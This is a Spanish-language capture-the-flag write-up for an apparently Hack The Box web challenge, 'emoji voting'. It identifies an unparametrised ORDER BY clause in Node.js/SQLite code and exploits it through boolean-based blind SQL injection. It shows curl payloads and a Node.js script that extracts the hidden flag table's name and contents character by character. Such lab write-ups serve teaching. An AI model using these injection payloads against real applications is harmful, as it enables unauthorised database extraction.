emoji voting
5 minutos de lectura
Se nos proporciona este sitio web:
También tenemos el código fuente del proyecto en Node.js (Express).
Análisis del código fuente
Los endpoints disponibles están en routes/index.js
:
const path = require('path');
const express = require('express');
const router = express.Router();
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/vote', (req, res) => {
let { id } = req.body;
if (id) {
return db.vote(id)
.then(() => {
return res.send(response('Successfully voted')) ;
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'));
})
router.post('/api/list', (req, res) => {
let { order } = req.body;
if (order) {
return db.getEmojis(order)
.then(data => {
if (data) {
return res.json(data);
}
return res.send(response('Seems like there are no emojis'));
})
.catch((e) => {
return res.send(response('Something went wrong'));
})
}
return res.send(response('Missing parameters'))
});
module.exports = database => {
db = database;
return router;
};
Hay dos endpoints por POST que admiten entrada del usuario. Ambos realizan ciertas acciones en la base de datos (database.js
):
const sqlite = require('sqlite-async');
const crypto = require('crypto');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let rand = crypto.randomBytes(5).toString('hex');
return this.db.exec(`
DROP TABLE IF EXISTS emojis;
DROP TABLE IF EXISTS flag_${ rand };
CREATE TABLE IF NOT EXISTS flag_${ rand } (
flag TEXT NOT NULL
);
INSERT INTO flag_${ rand } (flag) VALUES ('HTB{f4k3_fl4g_f0r_t3st1ng}');
CREATE TABLE IF NOT EXISTS emojis (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
emoji VARCHAR(255),
name VARCHAR(255),
count INTEGERT
);
INSERT INTO emojis (emoji, name, count) VALUES
('👽', 'alien', 13),
('🛸', 'flying saucer', 3),
('👾', 'alien monster', 0),
('💩', '👇 = human', 118),
('🚽', '👇 = human', 19),
('🪠', '👇 = human', 2),
('🍆', 'eggplant', 69),
('🍑', 'peach', 40),
('🍌', 'banana', 21),
('🐶', 'dog', 80),
('🐷', 'pig', 37),
('👨', 'homo idiotus', 124)
`);
}
async vote(id) {
return new Promise(async (resolve, reject) => {
try {
let query = 'UPDATE emojis SET count = count + 1 WHERE id = ?';
resolve(await this.db.run(query, [id]));
} catch(e) {
reject(e);
}
});
}
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
Aquí vemos que está usando SQLite y que la flag se almacena en una tabla con un nombre aleatorio.
Hay una vulnerabilidad aquí:
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
SQLi
Dado que nuestra entrada está dentro de la variable order
, y no hay parametrización, podemos inyectar código SQL. Como resultado, podemos extraer información de la base de datos.
Sin embargo, este es un SQLi limitado porque está en una sentencia ORDER
, por lo que no podemos usar sentencias como UNION SELECT
, y las consultas apiladas no funcionan.
Entonces, debemos encontrar un oráculo booleano. Por ejemplo, este:
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 1 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":1,"emoji":"👽","name":"alien","count":13},{"id":2,"emoji":"🛸","name":"flying saucer","count":3},{"id":3,"emoji":"👾","name":"alien monster","count":0},{"id":4,"emoji":"💩","name":"👇 = human","count":118},{"id":5,"emoji":"🚽","name":"👇 = human","count":19},{"id":6,"emoji":"🪠","name":"👇 = human","count":2},{"id":7,"emoji":"🍆","name":"eggplant","count":69},{"id":8,"emoji":"🍑","name":"peach","count":40},{"id":9,"emoji":"🍌","name":"banana","count":21},{"id":10,"emoji":"🐶","name":"dog","count":80},{"id":11,"emoji":"🐷","name":"pig","count":37},{"id":12,"emoji":"👨","name":"homo idiotus","count":124}]
$ curl 83.136.254.199:34355/api/list -d '{"order":"(CASE WHEN (SELECT 1) = 2 THEN id ELSE count END)"}' -sH 'Content-Type: application/json'
[{"id":3,"emoji":"👾","name":"alien monster","count":0},{"id":6,"emoji":"🪠","name":"👇 = human","count":2},{"id":2,"emoji":"🛸","name":"flying saucer","count":3},{"id":1,"emoji":"👽","name":"alien","count":13},{"id":5,"emoji":"🚽","name":"👇 = human","count":19},{"id":9,"emoji":"🍌","name":"banana","count":21},{"id":11,"emoji":"🐷","name":"pig","count":37},{"id":8,"emoji":"🍑","name":"peach","count":40},{"id":7,"emoji":"🍆","name":"eggplant","count":69},{"id":10,"emoji":"🐶","name":"dog","count":80},{"id":4,"emoji":"💩","name":"👇 = human","count":118},{"id":12,"emoji":"👨","name":"homo idiotus","count":124}]
Con esto, tenemos una forma de saber si una condición es verdadera o falsa.
Boolean-based SQLi
En este punto, podemos comenzar a extraer información de la base de datos carácter a carácter, con este oráculo booleano (por ejemplo, usando SUBSTR
and LENGTH
functions). Más información en PayloadsAllTheThings. Para esto, se recomienda escribir un pequeño script. Usé Node.js esta vez:
const oracle = async payload => {
const res = await fetch(`${BASE_URL}/api/list`, {
body: JSON.stringify({ order: `(CASE WHEN ${payload} THEN id ELSE count END)` }),
headers: { 'Content-Type': 'application/json' },
method: 'POST',
})
const data = await res.json()
return data[0].id === 1
}
Ahora, lo primero que necesitamos es encontrar el nombre de la tabla que contiene la flag. Para esto, en SQLite hay una tabla del sistema llamada sqlite_master
que contiene esta información:
const main = async () => {
let flagTableName = 'flag_'
while (flagTableName.length !== 15) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(tbl_name, ${flagTableName.length + 1}, 1) FROM sqlite_master WHERE tbl_name LIKE 'flag_%') = '${c}'`)) {
flagTableName += c
break
}
}
}
console.log('Flag table name:', flagTableName)
A continuación, podemos comenzar a consultar esta tabla para obtener la flag. Una cosa que me gusta hacer primero es encontrar la longitud del campo que queremos extraer:
let flagLength = 1
while (await oracle(`(SELECT LENGTH(flag) FROM ${flagTableName}) != ${flagLength}`)) {
flagLength++
}
console.log(`Flag length: ${flagLength}`)
Finalmente, podemos volcar el campo sabiendo la longitud de antemano:
let flag = 'HTB{'
while (flag.length !== flagLength - 1) {
for (let c of CHARS) {
if (await oracle(`(SELECT SUBSTR(flag, ${flag.length + 1}, 1) FROM ${flagTableName}) = '${c}'`)) {
flag += c
break
}
}
}
flag += '}'
console.log('Flag:', flag)
}
¡Y ya está!
Flag
Si ejecutamos el script, capturaremos la flag en cuestión de segundos:
$ node solve.js 83.136.254.199:34355
Flag table name: flag_535725d860
Flag length: 39
Flag: HTB{putt1ng_th3_c0mp3t1on_0ut_0f_0rd3r}
El script completo se puede encontrar aquí: solve.js
.